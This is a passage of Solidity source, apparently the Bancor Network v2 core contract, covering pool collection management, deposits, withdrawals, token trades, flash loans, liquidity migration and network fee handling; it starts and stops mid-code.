// a mapping between the last pool collection that was added to the pool collections set and its type
mapping(uint16 => IPoolCollection) private _latestPoolCollections;
// the set of all pools
EnumerableSetUpgradeable.AddressSet private _liquidityPools;
// a mapping between pools and their respective pool collections
mapping(Token => IPoolCollection) private _collectionByPool;
// the pending network fee amount to be burned by the vortex
uint256 internal _pendingNetworkFeeAmount;
// upgrade forward-compatibility storage gap
uint256[MAX_GAP - 10] private __gap;
/**
* @dev triggered when a new pool collection is added
*/
event PoolCollectionAdded(uint16 indexed poolType, IPoolCollection indexed poolCollection);
/**
* @dev triggered when an existing pool collection is removed
*/
event PoolCollectionRemoved(uint16 indexed poolType, IPoolCollection indexed poolCollection);
/**
* @dev triggered when the latest pool collection, for a specific type, is replaced
*/
event LatestPoolCollectionReplaced(
uint16 indexed poolType,
IPoolCollection indexed prevPoolCollection,
IPoolCollection indexed newPoolCollection
);
/**
* @dev triggered when a new pool is added
*/
event PoolAdded(Token indexed pool, IPoolCollection indexed poolCollection);
/**
* @dev triggered when funds are migrated
*/
event FundsMigrated(
bytes32 indexed contextId,
Token indexed token,
address indexed provider,
uint256 amount,
uint256 availableAmount,
uint256 originalAmount
);
/**
* @dev triggered on a successful trade
*/
event TokensTraded(
bytes32 indexed contextId,
Token indexed sourceToken,
Token indexed targetToken,
uint256 sourceAmount,
uint256 targetAmount,
uint256 bntAmount,
uint256 targetFeeAmount,
uint256 bntFeeAmount,
address trader
);
/**
* @dev triggered when a flash-loan is completed
*/
event FlashLoanCompleted(Token indexed token, address indexed borrower, uint256 amount, uint256 feeAmount);
/**
* @dev triggered when network fees are withdrawn
*/
event NetworkFeesWithdrawn(address indexed caller, address indexed recipient, uint256 amount);
/**
* @dev a "virtual" constructor that is only used to set immutable state variables
*/
constructor(
ITokenGovernance initBNTGovernance,
ITokenGovernance initVBNTGovernance,
INetworkSettings initNetworkSettings,
IMasterVault initMasterVault,
IExternalProtectionVault initExternalProtectionVault,
IPoolToken initBNTPoolToken
)
validAddress(address(initBNTGovernance))
validAddress(address(initVBNTGovernance))
validAddress(address(initNetworkSettings))
validAddress(address(initMasterVault))
validAddress(address(initExternalProtectionVault))
validAddress(address(initBNTPoolToken))
{
_bntGovernance = initBNTGovernance;
_bnt = initBNTGovernance.token();
_vbntGovernance = initVBNTGovernance;
_vbnt = initVBNTGovernance.token();
_networkSettings = initNetworkSettings;
_masterVault = initMasterVault;
_externalProtectionVault = initExternalProtectionVault;
_bntPoolToken = initBNTPoolToken;
}
/**
* @dev fully initializes the contract and its parents
*/
function initialize(
IBNTPool initBNTPool,
IPendingWithdrawals initPendingWithdrawals,
IPoolMigrator initPoolMigrator
)
external
validAddress(address(initBNTPool))
validAddress(address(initPendingWithdrawals))
validAddress(address(initPoolMigrator))
initializer
{
__BancorNetwork_init(initBNTPool, initPendingWithdrawals, initPoolMigrator);
}
// solhint-disable func-name-mixedcase
/**
* @dev initializes the contract and its parents
*/
function __BancorNetwork_init(
IBNTPool initBNTPool,
IPendingWithdrawals initPendingWithdrawals,
IPoolMigrator initPoolMigrator
) internal onlyInitializing {
__Upgradeable_init();
__ReentrancyGuard_init();
__Pausable_init();
__BancorNetwork_init_unchained(initBNTPool, initPendingWithdrawals, initPoolMigrator);
}
/**
* @dev performs contract-specific initialization
*/
function __BancorNetwork_init_unchained(
IBNTPool initBNTPool,
IPendingWithdrawals initPendingWithdrawals,
IPoolMigrator initPoolMigrator
) internal onlyInitializing {
_bntPool = initBNTPool;
_pendingWithdrawals = initPendingWithdrawals;
_poolMigrator = initPoolMigrator;
// set up administrative roles
_setRoleAdmin(ROLE_MIGRATION_MANAGER, ROLE_ADMIN);
_setRoleAdmin(ROLE_EMERGENCY_STOPPER, ROLE_ADMIN);
_setRoleAdmin(ROLE_NETWORK_FEE_MANAGER, ROLE_ADMIN);
}
// solhint-enable func-name-mixedcase
receive() external payable {}
/**
* @inheritdoc Upgradeable
*/
function version() public pure override(IVersioned, Upgradeable) returns (uint16) {
return 2;
}
/**
* @dev returns the migration manager role
*/
function roleMigrationManager() external pure returns (bytes32) {
return ROLE_MIGRATION_MANAGER;
}
/**
* @dev returns the emergency stopper role
*/
function roleEmergencyStopper() external pure returns (bytes32) {
return ROLE_EMERGENCY_STOPPER;
}
/**
* @dev returns the network fee manager role
*/
function roleNetworkFeeManager() external pure returns (bytes32) {
return ROLE_NETWORK_FEE_MANAGER;
}
/**
* @dev returns the pending network fee amount to be burned by the vortex
*/
function pendingNetworkFeeAmount() external view returns (uint256) {
return _pendingNetworkFeeAmount;
}
/**
* @dev adds new pool collection to the network
*
* requirements:
*
* - the caller must be the admin of the contract
*/
function addPoolCollection(IPoolCollection poolCollection)
external
validAddress(address(poolCollection))
onlyAdmin
nonReentrant
{
if (!_poolCollections.add(address(poolCollection))) {
revert AlreadyExists();
}
// ensure that we're not adding a pool collection with the same type and version
uint16 poolType = poolCollection.poolType();
IPoolCollection prevLatestPoolCollection = _latestPoolCollections[poolType];
if (
address(prevLatestPoolCollection) != address(0) &&
prevLatestPoolCollection.version() == poolCollection.version()
) {
revert AlreadyExists();
}
_setLatestPoolCollection(poolType, poolCollection);
_setAccessRoles(poolCollection, true);
emit PoolCollectionAdded({ poolType: poolType, poolCollection: poolCollection });
}
/**
* @dev removes an existing pool collection from the pool
*
* requirements:
*
* - the caller must be the admin of the contract
*/
function removePoolCollection(IPoolCollection poolCollection, IPoolCollection newLatestPoolCollection)
external
validAddress(address(poolCollection))
onlyAdmin
nonReentrant
{
if (poolCollection == newLatestPoolCollection) {
revert InvalidPoolCollection();
}
// verify that a pool collection is a valid latest pool collection (e.g., it either exists or a reset to zero)
_verifyLatestPoolCollectionCandidate(newLatestPoolCollection);
// verify that no pools are associated with the specified pool collection
if (poolCollection.poolCount() != 0) {
revert NotEmpty();
}
if (!_poolCollections.remove(address(poolCollection))) {
revert DoesNotExist();
}
uint16 poolType = poolCollection.poolType();
if (address(newLatestPoolCollection) != address(0)) {
uint16 newLatestPoolCollectionType = newLatestPoolCollection.poolType();
if (poolType != newLatestPoolCollectionType) {
revert InvalidType();
}
}
_setLatestPoolCollection(poolType, newLatestPoolCollection);
_setAccessRoles(poolCollection, false);
emit PoolCollectionRemoved({ poolType: poolType, poolCollection: poolCollection });
}
/**
* @dev sets the new latest pool collection for the given type
*
* requirements:
*
* - the caller must be the admin of the contract
*/
function setLatestPoolCollection(IPoolCollection poolCollection)
external
validAddress(address(poolCollection))
onlyAdmin
nonReentrant
{
_verifyLatestPoolCollectionCandidate(poolCollection);
_setLatestPoolCollection(poolCollection.poolType(), poolCollection);
}
/**
* @inheritdoc IBancorNetwork
*/
function poolCollections() external view returns (IPoolCollection[] memory) {
uint256 length = _poolCollections.length();
IPoolCollection[] memory list = new IPoolCollection[](length);
for (uint256 i = 0; i < length; i++) {
list[i] = IPoolCollection(_poolCollections.at(i));
}
return list;
}
/**
* @inheritdoc IBancorNetwork
*/
function latestPoolCollection(uint16 poolType) external view returns (IPoolCollection) {
return _latestPoolCollections[poolType];
}
/**
* @inheritdoc IBancorNetwork
*/
function liquidityPools() external view returns (Token[] memory) {
uint256 length = _liquidityPools.length();
Token[] memory list = new Token[](length);
for (uint256 i = 0; i < length; i++) {
list[i] = Token(_liquidityPools.at(i));
}
return list;
}
/**
* @inheritdoc IBancorNetwork
*/
function collectionByPool(Token pool) external view returns (IPoolCollection) {
return _collectionByPool[pool];
}
/**
* @inheritdoc IBancorNetwork
*/
function isPoolValid(Token pool) external view returns (bool) {
return address(pool) == address(_bnt) || _liquidityPools.contains(address(pool));
}
/**
* @inheritdoc IBancorNetwork
*/
function createPool(uint16 poolType, Token token) external onlyAdmin nonReentrant {
_createPool(poolType, token);
}
/**
* @inheritdoc IBancorNetwork
*/
function createPools(uint16 poolType, Token[] calldata tokens) external onlyAdmin nonReentrant {
uint256 length = tokens.length;
for (uint256 i = 0; i < length; i++) {
_createPool(poolType, tokens[i]);
}
}
/**
* @dev creates a new pool
*/
function _createPool(uint16 poolType, Token token) private validAddress(address(token)) {
if (token.isEqual(_bnt)) {
revert InvalidToken();
}
if (!_liquidityPools.add(address(token))) {
revert AlreadyExists();
}
// get the latest pool collection, corresponding to the requested type of the new pool, and use it to create the
// pool
IPoolCollection poolCollection = _latestPoolCollections[poolType];
if (address(poolCollection) == address(0)) {
revert InvalidType();
}
// this is where the magic happens...
poolCollection.createPool(token);
// add the pool collection to the reverse pool collection lookup
_collectionByPool[token] = poolCollection;
emit PoolAdded({ pool: token, poolCollection: poolCollection });
}
/**
* @inheritdoc IBancorNetwork
*/
function migratePools(Token[] calldata pools) external nonReentrant {
uint256 length = pools.length;
for (uint256 i = 0; i < length; i++) {
Token pool = pools[i];
// request the pool migrator to migrate the pool and get the new pool collection it exists in
IPoolCollection newPoolCollection = _poolMigrator.migratePool(pool);
if (newPoolCollection == IPoolCollection(address(0))) {
continue;
}
// update the mapping between pools and their respective pool collections
_collectionByPool[pool] = newPoolCollection;
}
}
/**
* @inheritdoc IBancorNetwork
*/
function depositFor(
address provider,
Token pool,
uint256 tokenAmount
)
external
payable
validAddress(provider)
validAddress(address(pool))
greaterThanZero(tokenAmount)
whenNotPaused
nonReentrant
returns (uint256)
{
return _depositFor(provider, pool, tokenAmount, msg.sender);
}
/**
* @inheritdoc IBancorNetwork
*/
function deposit(Token pool, uint256 tokenAmount)
external
payable
validAddress(address(pool))
greaterThanZero(tokenAmount)
whenNotPaused
nonReentrant
returns (uint256)
{
return _depositFor(msg.sender, pool, tokenAmount, msg.sender);
}
/**
* @inheritdoc IBancorNetwork
*/
function depositForPermitted(
address provider,
Token pool,
uint256 tokenAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
)
external
validAddress(provider)
validAddress(address(pool))
greaterThanZero(tokenAmount)
whenNotPaused
nonReentrant
returns (uint256)
{
return _depositBaseTokenForPermitted(provider, pool, tokenAmount, deadline, Signature({ v: v, r: r, s: s }));
}
/**
* @inheritdoc IBancorNetwork
*/
function depositPermitted(
Token pool,
uint256 tokenAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external validAddress(address(pool)) greaterThanZero(tokenAmount) whenNotPaused nonReentrant returns (uint256) {
return _depositBaseTokenForPermitted(msg.sender, pool, tokenAmount, deadline, Signature({ v: v, r: r, s: s }));
}
/**
* @inheritdoc IBancorNetwork
*/
function initWithdrawal(IPoolToken poolToken, uint256 poolTokenAmount)
external
validAddress(address(poolToken))
greaterThanZero(poolTokenAmount)
whenNotPaused
nonReentrant
returns (uint256)
{
return _initWithdrawal(msg.sender, poolToken, poolTokenAmount);
}
/**
* @inheritdoc IBancorNetwork
*/
function initWithdrawalPermitted(
IPoolToken poolToken,
uint256 poolTokenAmount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
)
external
validAddress(address(poolToken))
greaterThanZero(poolTokenAmount)
whenNotPaused
nonReentrant
returns (uint256)
{
Token(address(poolToken)).permit(
msg.sender,
address(this),
poolTokenAmount,
deadline,
Signature({ v: v, r: r, s: s })
);
return _initWithdrawal(msg.sender, poolToken, poolTokenAmount);
}
/**
* @inheritdoc IBancorNetwork
*/
function cancelWithdrawal(uint256 id) external whenNotPaused nonReentrant {
_pendingWithdrawals.cancelWithdrawal(msg.sender, id);
}
/**
* @inheritdoc IBancorNetwork
*/
function withdraw(uint256 id) external whenNotPaused nonReentrant returns (uint256) {
address provider = msg.sender;
bytes32 contextId = _withdrawContextId(id, provider);
// complete the withdrawal and claim the locked pool tokens
CompletedWithdrawal memory completedRequest = _pendingWithdrawals.completeWithdrawal(contextId, provider, id);
if (completedRequest.poolToken == _bntPoolToken) {
return _withdrawBNT(contextId, provider, completedRequest);
}
return _withdrawBaseToken(contextId, provider, completedRequest);
}
/**
* @inheritdoc IBancorNetwork
*/
function tradeBySourceAmount(
Token sourceToken,
Token targetToken,
uint256 sourceAmount,
uint256 minReturnAmount,
uint256 deadline,
address beneficiary
) external payable whenNotPaused nonReentrant {
_verifyTradeParams(sourceToken, targetToken, sourceAmount, minReturnAmount, deadline);
_trade(
TradeTokens({ sourceToken: sourceToken, targetToken: targetToken }),
TradeParams({ bySourceAmount: true, amount: sourceAmount, limit: minReturnAmount }),
TraderInfo({ trader: msg.sender, beneficiary: beneficiary }),
deadline
);
}
/**
* @inheritdoc IBancorNetwork
*/
function tradeBySourceAmountPermitted(
Token sourceToken,
Token targetToken,
uint256 sourceAmount,
uint256 minReturnAmount,
uint256 deadline,
address beneficiary,
uint8 v,
bytes32 r,
bytes32 s
) external whenNotPaused nonReentrant {
_verifyTradeParams(sourceToken, targetToken, sourceAmount, minReturnAmount, deadline);
sourceToken.permit(msg.sender, address(this), sourceAmount, deadline, Signature({ v: v, r: r, s: s }));
_trade(
TradeTokens({ sourceToken: sourceToken, targetToken: targetToken }),
TradeParams({ bySourceAmount: true, amount: sourceAmount, limit: minReturnAmount }),
TraderInfo({ trader: msg.sender, beneficiary: beneficiary }),
deadline
);
}
/**
* @inheritdoc IBancorNetwork
*/
function tradeByTargetAmount(
Token sourceToken,
Token targetToken,
uint256 targetAmount,
uint256 maxSourceAmount,
uint256 deadline,
address beneficiary
) external payable whenNotPaused nonReentrant {
_verifyTradeParams(sourceToken, targetToken, targetAmount, maxSourceAmount, deadline);
_trade(
TradeTokens({ sourceToken: sourceToken, targetToken: targetToken }),
TradeParams({ bySourceAmount: false, amount: targetAmount, limit: maxSourceAmount }),
TraderInfo({ trader: msg.sender, beneficiary: beneficiary }),
deadline
);
}
/**
* @inheritdoc IBancorNetwork
*/
function tradeByTargetAmountPermitted(
Token sourceToken,
Token targetToken,
uint256 targetAmount,
uint256 maxSourceAmount,
uint256 deadline,
address beneficiary,
uint8 v,
bytes32 r,
bytes32 s
) external whenNotPaused nonReentrant {
_verifyTradeParams(sourceToken, targetToken, targetAmount, maxSourceAmount, deadline);
sourceToken.permit(msg.sender, address(this), maxSourceAmount, deadline, Signature({ v: v, r: r, s: s }));
_trade(
TradeTokens({ sourceToken: sourceToken, targetToken: targetToken }),
TradeParams({ bySourceAmount: false, amount: targetAmount, limit: maxSourceAmount }),
TraderInfo({ trader: msg.sender, beneficiary: beneficiary }),
deadline
);
}
/**
* @inheritdoc IBancorNetwork
*/
function flashLoan(
Token token,
uint256 amount,
IFlashLoanRecipient recipient,
bytes calldata data
)
external
validAddress(address(token))
greaterThanZero(amount)
validAddress(address(recipient))
whenNotPaused
nonReentrant
{
if (!token.isEqual(_bnt) && !_networkSettings.isTokenWhitelisted(token)) {
revert NotWhitelisted();
}
uint256 feeAmount = MathEx.mulDivF(amount, _networkSettings.flashLoanFeePPM(token), PPM_RESOLUTION);
// save the current balance
uint256 prevBalance = token.balanceOf(address(this));
// transfer the amount from the master vault to the recipient
_masterVault.withdrawFunds(token, payable(address(recipient)), amount);
// invoke the recipient's callback
recipient.onFlashLoan(msg.sender, token.toIERC20(), amount, feeAmount, data);
// ensure that the tokens + fee have been deposited back to the network
uint256 returnedAmount = token.balanceOf(address(this)) - prevBalance;
if (returnedAmount < amount + feeAmount) {
revert InsufficientFlashLoanReturn();
}
// transfer the amount and the fee back to the vault
if (token.isNative()) {
payable(address(_masterVault)).sendValue(returnedAmount);
} else {
token.safeTransfer(payable(address(_masterVault)), returnedAmount);
}
// notify the pool of accrued fees
if (token.isEqual(_bnt)) {
IBNTPool cachedBNTPool = _bntPool;
cachedBNTPool.onFeesCollected(token, feeAmount, false);
} else {
// get the pool and verify that it exists
IPoolCollection poolCollection = _poolCollection(token);
poolCollection.onFeesCollected(token, feeAmount);
}
emit FlashLoanCompleted({ token: token, borrower: msg.sender, amount: amount, feeAmount: feeAmount });
}
/**
* @inheritdoc IBancorNetwork
*/
function migrateLiquidity(
Token token,
address provider,
uint256 amount,
uint256 availableAmount,
uint256 originalAmount
) external payable whenNotPaused onlyRoleMember(ROLE_MIGRATION_MANAGER) nonReentrant {
bytes32 contextId = keccak256(
abi.encodePacked(msg.sender, _time(), token, provider, amount, availableAmount, originalAmount)
);
if (token.isEqual(_bnt)) {
_depositBNTFor(contextId, provider, amount, msg.sender, true, originalAmount);
} else {
_depositBaseTokenFor(contextId, provider, token, amount, msg.sender, availableAmount);
}
emit FundsMigrated(contextId, token, provider, amount, availableAmount, originalAmount);
}
/**
* @inheritdoc IBancorNetwork
*/
function withdrawNetworkFees(address recipient)
external
whenNotPaused
onlyRoleMember(ROLE_NETWORK_FEE_MANAGER)
validAddress(recipient)
{
uint256 currentPendingNetworkFeeAmount = _pendingNetworkFeeAmount;
if (currentPendingNetworkFeeAmount == 0) {
return;
}
_pendingNetworkFeeAmount = 0;
_masterVault.withdrawFunds(Token(address(_bnt)), payable(recipient), currentPendingNetworkFeeAmount);
emit NetworkFeesWithdrawn(msg.sender, recipient, currentPendingNetworkFeeAmount);
}
/**
* @dev returns whether the network is currently paused
*/
function isPaused() external view returns (bool) {
return paused();
}
/**
* @dev pauses the network
*
* requirements:
*
* - the caller must have the ROLE_EMERGENCY_STOPPER privilege
*/
function pause() external onlyRoleMember(ROLE_EMERGENCY_STOPPER) {
_pause();
}
/**
* @dev resumes the network
*
* requirements:
*
* - the caller must have the ROLE_EMERGENCY_STOPPER privilege
*/
function resume() external onlyRoleMember(ROLE_EMERGENCY_STOPPER) {
_unpause();
}
/**
* @dev sets the new latest pool collection for the given type
*
* requirements:
*
* - the caller must be the admin of the contract
*/
function _setLatestPoolCollection(uint16 poolType, IPoolCollection poolCollection) private {
IPoolCollection prevLatestPoolCollection = _latestPoolCollections[poolType];
if (prevLatestPoolCollection == poolCollection) {
return;
}
_latestPoolCollections[poolType] = poolCollection;
emit LatestPoolCollectionReplaced({
poolType: poolType,
prevPoolCollection: prevLatestPoolCollection,
newPoolCollection: poolCollection
});
}
/**
* @dev verifies that a pool collection is a valid latest pool collection (e.g., it either exists or a reset to zero)
*/
function _verifyLatestPoolCollectionCandidate(IPoolCollection poolCollection) private view {
if (address(poolCollection) != address(0) && !_poolCollections.contains(address(poolCollection))) {
revert DoesNotExist();
}
}
/**
* @dev generates context ID for a deposit request
*/
function _depositContextId(
address provider,
Token pool,
uint256 tokenAmount,
address caller
) private view returns (bytes32) {
return keccak256(abi.encodePacked(caller, _time(), provider, pool, tokenAmount));
}
/**
* @dev generates context ID for a withdraw request
*/
function _withdrawContextId(uint256 id, address caller) private view returns (bytes32) {
return keccak256(abi.encodePacked(caller, _time(), id));
}
/**
* @dev deposits liquidity for the specified provider from caller
*
* requirements:
*
* - the caller must have approved the network to transfer the liquidity tokens on its behalf
*/
function _depositFor(
address provider,
Token pool,
uint256 tokenAmount,
address caller
) private returns (uint256) {
bytes32 contextId = _depositContextId(provider, pool, tokenAmount, caller);
if (pool.isEqual(_bnt)) {
return _depositBNTFor(contextId, provider, tokenAmount, caller, false, 0);
}
return _depositBaseTokenFor(contextId, provider, pool, tokenAmount, caller, tokenAmount);
}
/**
* @dev deposits BNT liquidity for the specified provider from caller
*
* requirements:
*
* - the caller must have approved the network to transfer BNT on its behalf
*/
function _depositBNTFor(
bytes32 contextId,
address provider,
uint256 bntAmount,
address caller,
bool isMigrating,
uint256 originalAmount
) private returns (uint256) {
IBNTPool cachedBNTPool = _bntPool;
// transfer the tokens from the caller to the BNT pool
_bnt.transferFrom(caller, address(cachedBNTPool), bntAmount);
// process BNT pool deposit
return cachedBNTPool.depositFor(contextId, provider, bntAmount, isMigrating, originalAmount);
}
/**
* @dev deposits base token liquidity for the specified provider from sender
*
* requirements:
*
* - the caller must have approved the network to transfer base tokens to on its behalf
*/
function _depositBaseTokenFor(
bytes32 contextId,
address provider,
Token pool,
uint256 tokenAmount,
address caller,
uint256 availableAmount
) private returns (uint256) {
// transfer the tokens from the sender to the vault
_depositToMasterVault(pool, caller, availableAmount);
// get the pool collection that managed this pool
IPoolCollection poolCollection = _poolCollection(pool);
// process deposit to the base token pool (includes the native token pool)
return poolCollection.depositFor(contextId, provider, pool, tokenAmount);
}
/**
* @dev deposits liquidity for the specified provider by providing an EIP712 typed signature for an EIP2612 permit
* request
*
* requirements:
*
* - the caller must have provided a valid and unused EIP712 typed signature
*/
function _depositBaseTokenForPermitted(
address provider,
Token pool,
uint256 tokenAmount,
uint256 deadline,
Signature memory signature
) private returns (uint256) {
address caller = msg.sender;
pool.permit(caller, address(this), tokenAmount, deadline, signature);
return
_depositBaseTokenFor(
_depositContextId(provider, pool, tokenAmount, caller),
provider,
pool,
tokenAmount,
caller,
tokenAmount
);
}
/**
* @dev handles BNT withdrawal
*/
function _withdrawBNT(
bytes32 contextId,
address provider,
CompletedWithdrawal memory completedRequest
) private returns (uint256) {
IBNTPool cachedBNTPool = _bntPool;
// approve the BNT pool to transfer pool tokens, which we have received from the completion of the
// pending withdrawal, on behalf of the network
completedRequest.poolToken.approve(address(cachedBNTPool), completedRequest.poolTokenAmount);
// transfer VBNT from the caller to the BNT pool
_vbnt.transferFrom(provider, address(cachedBNTPool), completedRequest.poolTokenAmount);
// call withdraw on the BNT pool
return cachedBNTPool.withdraw(contextId, provider, completedRequest.poolTokenAmount);
}
/**
* @dev handles base token withdrawal
*/
function _withdrawBaseToken(
bytes32 contextId,
address provider,
CompletedWithdrawal memory completedRequest
) private returns (uint256) {
Token pool = completedRequest.poolToken.reserveToken();
// get the pool collection that manages this pool
IPoolCollection poolCollection = _poolCollection(pool);
// approve the pool collection to transfer pool tokens, which we have received from the completion of the
// pending withdrawal, on behalf of the network
completedRequest.poolToken.approve(address(poolCollection), completedRequest.poolTokenAmount);
// call withdraw on the base token pool - returns the amounts/breakdown
return poolCollection.withdraw(contextId, provider, pool, completedRequest.poolTokenAmount);
}
/**
* @dev verifies that the provided trade params are valid
*/
function _verifyTradeParams(
Token sourceToken,
Token targetToken,
uint256 amount,
uint256 limit,
uint256 deadline
) internal view {
_validAddress(address(sourceToken));
_validAddress(address(targetToken));
if (sourceToken == targetToken) {
revert InvalidToken();
}
_greaterThanZero(amount);
_greaterThanZero(limit);
if (deadline < _time()) {
revert DeadlineExpired();
}
}
/**
* @dev performs a trade by providing either the source or target amount:
*
* - when trading by the source amount, the amount represents the source amount and the limit is the minimum return
* amount
* - when trading by the target amount, the amount represents the target amount and the limit is the maximum source
* amount
*
* requirements:
*
* - the caller must have approved the network to transfer the source tokens on its behalf (except for in the
* native token case)
*/
function _trade(
TradeTokens memory tokens,
TradeParams memory params,
TraderInfo memory traderInfo,
uint256 deadline
) private {
// ensure the beneficiary is set
if (traderInfo.beneficiary == address(0)) {
traderInfo.beneficiary = traderInfo.trader;
}
bytes32 contextId = keccak256(
abi.encodePacked(
traderInfo.trader,
_time(),
tokens.sourceToken,
tokens.targetToken,
params.amount,
params.limit,
params.bySourceAmount,
deadline,
traderInfo.beneficiary
)
);
// perform either a single or double hop trade, based on the source and the target pool
bool fromBNT = tokens.sourceToken.isEqual(_bnt);
TradeResult memory firstHopTradeResult;
TradeResult memory lastHopTradeResult;
uint256 networkFeeAmount;
if (fromBNT || tokens.targetToken.isEqual(_bnt)) {
lastHopTradeResult = _tradeBNT(
contextId,
fromBNT ? tokens.targetToken : tokens.sourceToken,
fromBNT,
params
);
firstHopTradeResult = lastHopTradeResult;
networkFeeAmount = lastHopTradeResult.networkFeeAmount;
emit TokensTraded({
contextId: contextId,
sourceToken: tokens.sourceToken,
targetToken: tokens.targetToken,
sourceAmount: lastHopTradeResult.sourceAmount,
targetAmount: lastHopTradeResult.targetAmount,
bntAmount: fromBNT ? lastHopTradeResult.sourceAmount : lastHopTradeResult.targetAmount,
targetFeeAmount: lastHopTradeResult.tradingFeeAmount,
bntFeeAmount: fromBNT ? 0 : lastHopTradeResult.tradingFeeAmount,
trader: traderInfo.trader
});
} else {
(firstHopTradeResult, lastHopTradeResult) = _tradeBaseTokens(contextId, tokens, params);
networkFeeAmount = firstHopTradeResult.networkFeeAmount + lastHopTradeResult.networkFeeAmount;
emit TokensTraded({
contextId: contextId,
sourceToken: tokens.sourceToken,
targetToken: tokens.targetToken,
sourceAmount: firstHopTradeResult.sourceAmount,
targetAmount: lastHopTradeResult.targetAmount,
bntAmount: firstHopTradeResult.targetAmount,
targetFeeAmount: lastHopTradeResult.tradingFeeAmount,
bntFeeAmount: firstHopTradeResult.tradingFeeAmount,
trader: traderInfo.trader
});
}
// transfer the tokens from the trader to the vault
_depositToMasterVault(tokens.sourceToken, traderInfo.trader, firstHopTradeResult.sourceAmount);
// transfer the target tokens/native token to the beneficiary
_masterVault.withdrawFunds(
tokens.targetToken,
payable(traderInfo.beneficiary),
lastHopTradeResult.targetAmount
);
// update the pending network fee amount to be burned by the vortex
_pendingNetworkFeeAmount += networkFeeAmount;
}
/**
* @dev performs a single hop between BNT and a base token trade by providing either the source or the target amount
*
* - when trading by the source amount, the amount represents the source amount and the limit is the minimum return
* amount
* - when trading by the target amount, the amount represents the target amount and the limit is the maximum source
* amount
*/
function _tradeBNT(
bytes32 contextId,
Token pool,
bool fromBNT,
TradeParams memory params
) private returns (TradeResult memory) {
TradeTokens memory tokens = fromBNT
? TradeTokens({ sourceToken: Token(address(_bnt)), targetToken: pool })
: TradeTokens({ sourceToken: pool, targetToken: Token(address(_bnt)) });
TradeAmountAndFee memory tradeAmountsAndFee = params.bySourceAmount
? _poolCollection(pool).tradeBySourceAmount(
contextId,
tokens.sourceToken,
tokens.targetToken,
params.amount,
params.limit
)
: _poolCollection(pool).tradeByTargetAmount(
contextId,
tokens.sourceToken,
tokens.targetToken,
params.amount,
params.limit
);
// if the target token is BNT, notify the BNT pool on collected fees (which shouldn't include the network fee
// amount, so we have to deduct it explicitly from the full trading fee amount)
if (!fromBNT) {
_bntPool.onFeesCollected(
pool,
tradeAmountsAndFee.tradingFeeAmount - tradeAmountsAndFee.networkFeeAmount,
true
);
}
return
TradeResult({
sourceAmount: params.bySourceAmount ? params.amount : tradeAmountsAndFee.amount,
targetAmount: params.bySourceAmount ? tradeAmountsAndFee.amount : params.amount,
tradingFeeAmount: tradeAmountsAndFee.tradingFeeAmount,
networkFeeAmount: tradeAmountsAndFee.networkFeeAmount
});
}
/**
* @dev performs a double hop trade between two base tokens by providing either the source or the target amount
*
* - when trading by the source amount, the amount represents the source amount and the limit is the minimum return
* amount
* - when trading by the target amount, the amount represents the target amount and the limit is the maximum source
* amount
*/
function _tradeBaseTokens(
bytes32 contextId,
TradeTokens memory tokens,
TradeParams memory params
) private returns (TradeResult memory, TradeResult memory) {
if (params.bySourceAmount) {
uint256 sourceAmount = params.amount;
uint256 minReturnAmount = params.limit;
// trade source tokens to BNT (while accepting any return amount)
TradeResult memory targetHop1 = _tradeBNT(
contextId,
tokens.sourceToken,
false,
TradeParams({ bySourceAmount: true, amount: sourceAmount, limit: 1 })
);
// trade the received BNT target amount to target tokens (while respecting the minimum return amount)
TradeResult memory targetHop2 = _tradeBNT(
contextId,
tokens.targetToken,
true,
TradeParams({ bySourceAmount: true, amount: targetHop1.targetAmount, limit: minReturnAmount })
);
return (targetHop1, targetHop2);
}
uint256 targetAmount = params.amount;
uint256 maxSourceAmount = params.limit;
// trade any amount of BNT to get the requested target amount (we will use the actual traded amount to restrict
// the trade from the source)
TradeResult memory sourceHop2 = _tradeBNT(
contextId,
tokens.targetToken,
true,
TradeParams({ bySourceAmount: false, amount: targetAmount, limit: type(uint256).max })
);
// trade source tokens to the required amount of BNT (while respecting the maximum source amount)
TradeResult memory sourceHop1 = _tradeBNT(
contextId,
tokens.sourceToken,
false,
TradeParams({ bySourceAmount: false, amount: sourceHop2.sourceAmount, limit: maxSourceAmount })
);
return (sourceHop1, sourceHop2);
}
/**
* @dev deposits tokens to the master vault and verifies that msg.value corresponds to its type
*/
function _depositToMasterVault(
Token token,
address caller,
uint256 amount
) private {
if (token.isNative()) {
if (msg.value < amount) {
revert NativeTokenAmountMismatch();
}
// using a regular transfer here would revert due to exceeding the 2300 gas limit which is why we're using
// call instead (via sendValue), which the 2300 gas limit does not apply for
payable(address(_masterVault)).sendValue(amount);
// refund the caller for the remaining native token amount
if (msg.value > amount) {
payable(address(caller)).sendValue(msg.value - amount);
}
} else {
if (msg.value > 0) {
revert NativeTokenAmountMismatch();
}
token.safeTransferFrom(caller, address(_masterVault), amount);
}
}
/**
* @dev verifies that the specified pool is managed by a valid pool collection and returns it
*/
function _poolCollection(Token token) private view returns (IPoolCollection) {
// verify that the pool is managed by a valid pool collection
IPoolCollection poolCollection = _collectionByPool[token];
if (address(poolCollection) == address(0)) {
revert InvalidToken();
}
return poolCollection;
}
/**
* @dev initiates liquidity withdrawal
*/
function _initWithdrawal(
address provider,
IPoolToken poolToken,
uint256 poolTokenAmount
) private returns (uint256) {
// transfer the pool tokens from the provider. Note, that the provider should have either previously approved
// the pool token amount or provided a EIP712 typed signature for an EIP2612 permit request
poolToken.safeTransferFrom(provider, address(_pendingWithdrawals), poolTokenAmount);
return _pendingWithdrawals.initWithdrawal(provider, poolToken, poolTokenAmount);
}
/**
* @dev grants/revokes required roles to/from a pool collection
*/
function _setAccessRoles(IPoolCollection poolCollection, bool set) private {
address poolCollectionAddress = address(poolCollection);
if (set) {
_bntPool.grantRole(ROLE_BNT_MANAGER, poolCollectionAddress);
_bntPool.grantRole(ROLE_VAULT_MANAGER, poolCollectionAddress);
_bntPool.grantRole(ROLE_FUNDING_MANAGER, poolCollectionAddress);
_masterVault.grantRole(ROLE_ASSET_MANAGER, poolCollectionAddress);
_externalProtectionVault.grantRole(ROLE_ASSET_MANAGER, poolCollectionAddress);
} else {
_bntPool.revokeRole(ROLE_BNT_MANAGER, poolCollectionAddress);
_bntPool.revokeRole(ROLE_VAULT_MANAGER, poolCollectionAddress);
_bntPool.revokeRole(ROLE_FUNDING_MANAGER, poolCollectionAddress);
